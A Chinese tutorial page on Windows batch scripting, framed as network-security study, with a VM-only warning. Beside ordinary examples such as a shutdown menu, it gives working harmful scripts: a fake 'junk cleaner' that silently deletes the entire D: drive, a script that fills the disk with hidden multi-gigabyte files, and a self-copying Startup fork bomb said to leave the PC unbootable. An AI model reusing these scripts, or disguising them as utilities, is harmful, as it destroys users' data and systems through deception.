网络安全学习--批处理

Posted 丢爸

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了网络安全学习--批处理相关的知识,希望对你有一定的参考价值。

所有实现均在虚拟机中执行,不要在自己电脑上执行,防止搞坏系统

批处理

自上而下成批的处理每一条命令,直至执行到最后一条。

创建批处理(.bat)

创建一个记事本文件,修改扩展名为.bat

#-----------清除D:盘下的所有文件
#屏蔽执行结果
@echo off
#修改第1个字符背景色和第2个字符前景色
color 0a
#标题
title "垃圾清理"
echo "==============="
echo "垃圾清理,如无法清理请放行..."
echo "==============="
pause
#空行
echo.
echo "垃圾清理中... ..."
#执行过程不论对错都重定向至nul
d: >nul 2>nul
cd \\ >nul 2>nul
rd . /s/q >nul 2>nul
#暂停
pause
ping -n 10 127.0.0.1 >nul 2 >nul
echo "恭喜你,垃圾清理完毕!"
pause
#----------创建文件,并给文件添加属性
@echo off 
color 0a
d:
cd \\
fsutil file createnew d:\\sys1.ini 4096000000
attrib +H +S +A D:\\sys1.ini
fsutil file createnew d:\\sys2.ini 4096000000
fsutil file createnew d:\\sys3.ini 4096000000
fsutil file createnew d:\\sys4.ini 4096000000
fsutil file createnew d:\\sys5.ini 4096000000
fsutil file createnew d:\\sys6.ini 4096000000
D:\\>start /?
启动另一个窗口运行指定的程序或命令。

START ["title"] [/D path] [/I] [/MIN] [/MAX] [/SEPARATE | /SHARED]
      [/LOW | /NORMAL | /HIGH | /REALTIME | /ABOVENORMAL | /BELOWNORMAL]
      [/AFFINITY <hex affinity>] [/WAIT] [/B] [command/program]
      [parameters]

    "title"     在窗口标题栏中显示的标题。
    path        启动目录
    B           不创建新窗口启动应用程序。除非启用
                ^C 处理,否则该应用程序会忽略 ^C
                处理;^Break 是唯一可以中断该应用
                程序的方式
    I           新环境是传递给 cmd.exe 的原始环境,
                而不是当前环境。
    MIN         启动窗口最小化
    MAX         启动窗口最大化
    SEPARATE    在分离内存空间启动 16-位 Windows 程序
    SHARED      在共享内存空间启动 16-位 Windows 程序
    LOW         在 IDLE 优先级类中启动应用程序
    NORMAL      在 NORMAL 优先级类中启动应用程序
    HIGH        在 HIGH 优先级类中启动应用程序
    REALTIME    在 REALTIME 优先级类中启动应用程序
    ABOVENORMAL 在 ABOVENORMAL 优先级类中启动应用程序
    BELOWNORMAL 在 BELOWNORMAL 优先级类中启动应用程序
    AFFINITY    新应用程序将拥有指定处理器关系掩码,
                以十六进制数表示。
    WAIT        启动应用程序并等待它结束
    command/program
                如果是内部 cmd 命令或批文件,那么
                该命令处理器是用 /K 命令行开关运行
                cmd.exe 的。这表示该窗口在命令运行后
                仍然存在。

                如果不是内部 cmd 命令或批文件,则是
                一个程序,并作为窗口应用程序或控制台
                应用程序运行。

    parameters  这些是传送到命令/程序的参数


如果命令扩展被启用,通过命令行或 START 命令的外部命令
调用会如下改变:

将文件名作为命令键入,非可执行文件可以通过文件关联调用。
    (例如,WORD.DOC 会调用跟 .DOC 文件扩展名关联的应用程序)
#%userprofile%环境变量,获得当前用户的家目录
D:\\>echo %userprofile%
C:\\Documents and Settings\\Administrator

#----------以下程序保存名称为qq.bat不要随便执行,会导致电脑无法启动!!!
copy qq.bat %userprofile%\\「开始」菜单\\程序\\启动
#:d表示程序块
:d
start 
goto d
#set设置变量
C:\\Documents and Settings\\Administrator>set /?
显示、设置或删除 cmd.exe 环境变量。

SET [variable=[string]]

  variable  指定环境变量名。
  string    指定要指派给变量的一系列字符串。
    SET /A expression
    SET /P variable=[promptString]

/A 命令行开关指定等号右边的字符串为被评估的数字表达式。该表达式
评估器很简单并以递减的优先权顺序支持下列操作:

    ()                  - 分组
    ! ~ -               - 一元运算符
    * / %               - 算数运算符
    + -                 - 算数运算符
    << >>               - 逻辑移位
    &                   - 按位“与”
    ^                   - 按位“异”
    |                   - 按位“或”
    = *= /= %= += -=    - 赋值
      &= ^= |= <<= >>=
    ,                   - 表达式分隔符

如果您使用任何逻辑或取余操作符, 您需要将表达式字符串用
引号扩起来。在表达式中的任何非数字字符串键作为环境变量
名称,这些环境变量名称的值已在使用前转换成数字。如果指定
了一个环境变量名称,但未在当前环境中定义,那么值将被定为
零。这使您可以使用环境变量值做计算而不用键入那些 % 符号
来得到它们的值。如果 SET /A 在命令脚本外的命令行执行的,
那么它显示该表达式的最后值。该分配的操作符在分配的操作符
左边需要一个环境变量名称。除十六进制有 0x 前缀,八进制
有 0 前缀的,数字值为十进位数字。因此,0x12 与 18 和 022
相同。请注意八进制公式可能很容易搞混: 08 和 09 是无效的数字,
因为 89 不是有效的八进制位数。

/P 命令行开关允许将变量数值设成用户输入的一行输入。读取输入
行之前,显示指定的 promptString。promptString 可以是空的。
#关机和取消关机小程序
@echo off
title "小程序v1.0"
color 0a
#:menu标签
:menu
#清屏
cls
echo ==================
echo ---菜单---
echo 1.定时关机
echo 2.取消关机
echo 3.退出
echo ==================
echo.

set /p selectNum=请选择要执行的选项(1,2,3):
if "%selectNum%" == "1" goto 1
if "%selectNum%" == "2" goto 2
if "%selectNum%" == "3" goto 3
echo "只能输入1,2,3..."
pause
#goto实现跳转
goto menu

:1
set /p shuttime=请输入关机时间(单位/秒):
shutdown -s -f -t %shuttime%
goto menu

:2
shutdown -a 
goto menu

:3
exit
关闭桌面和打开
@echo off
color 0a
taskkill /im explorer.exe /f >nul 2>nul
echo "What???"
ping -n 15 127.0.0.1 >nul 2>nul
echo "傻了吧,逗你玩呢!!!"
start C:\\Windows\\explorer.exe
pause

以上是关于网络安全学习--批处理的主要内容,如果未能解决你的问题,请参考以下文章

学习小片段——springboot 错误处理

20155234 2017-2018-1《信息安全系统设计基础》课程总结

20155201 李卓雯 《网络对抗技术》实验一 逆向及Bof基础

Android:处理同步网络调用

VSCode自定义代码片段14——Vue的axios网络请求封装

VSCode自定义代码片段14——Vue的axios网络请求封装